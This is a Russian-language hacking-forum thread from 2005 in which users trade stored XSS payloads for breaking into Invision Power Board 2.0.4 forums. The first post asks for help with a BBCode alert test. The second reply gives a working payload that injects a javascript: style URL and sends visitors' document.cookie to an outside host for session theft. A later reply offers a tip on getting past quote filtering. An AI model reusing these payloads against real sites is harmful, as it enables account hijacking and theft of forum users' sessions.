ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Взлом IBP 2.0.4 через Xss
  #1  
Старый 29.11.2005, 20:20
Аватар для Astro
Astro
Познающий
Регистрация: 29.07.2005
Сообщений: 35
Провел на форуме:
126493

Репутация: 3
По умолчанию Взлом IBP 2.0.4 через Xss

Решил тут попробывать впервые свои силы для взлома 2.0.4. Читав статью на вашем сайте я ломанул 2.0.0. Trial, но 2.0.4. вызвало проблему. В общем просмотрев форум я через определенное время в начале решил внедрит простой скрипт для теста. Вот он:
Код HTML:
[post=1000[topic=wj style=background:url(javascript:alert("test") ); [/topic]]
[/post]
В итоге получилось что, код в посте не отображаеться, но скрипт не запускаеться.
Кто может подскажите что да как, где ошибка и если есть подкиньте какие нибудь статьи.
 

  #2  
Старый 29.11.2005, 20:31
Аватар для 1251soldier
1251soldier
Познающий
Регистрация: 13.10.2005
Сообщений: 78
Провел на форуме:
507855

Репутация: 30
Отправить сообщение для 1251soldier с помощью ICQ
По умолчанию

Код HTML:
[email]wj@wj[url=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
Vot i vsyo ))) avtor - wj )))

Последний раз редактировалось 1251soldier; 29.11.2005 в 20:33..
 

  #3  
Старый 29.11.2005, 21:17
Аватар для k1b0rg
k1b0rg
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме:
4520553

Репутация: 1316


По умолчанию

Цитата:
[post=1000[topic=wj style=background:url(javascript:alert("test") ); [/topic]]
[/post]
я точно не уверен но помойму форум блокирует " точнее заменяет на &quot
оставь просто :alert()
 

  #4  
Старый 29.11.2005, 21:29
Аватар для Astro
Astro
Познающий
Регистрация: 29.07.2005
Сообщений: 35
Провел на форуме:
126493

Репутация: 3
По умолчанию

Спасибо всем.
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом форумов IPB (Invision Power Board) < 2.0.4 Ice_Fro$T Форумы 19 18.11.2006 09:19
Взлом форумов IPB версии < 2.0.4 Ice_Fro$T Форумы 16 29.12.2005 12:22
Взлом через cookie k00p3r Чужие Статьи 0 13.06.2005 13:56
Взлом сервера Microsoft IIS 6 Через SQL Запросы [Tsh] *CorPSe* АнтиАдмин 3 08.03.2005 12:16



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ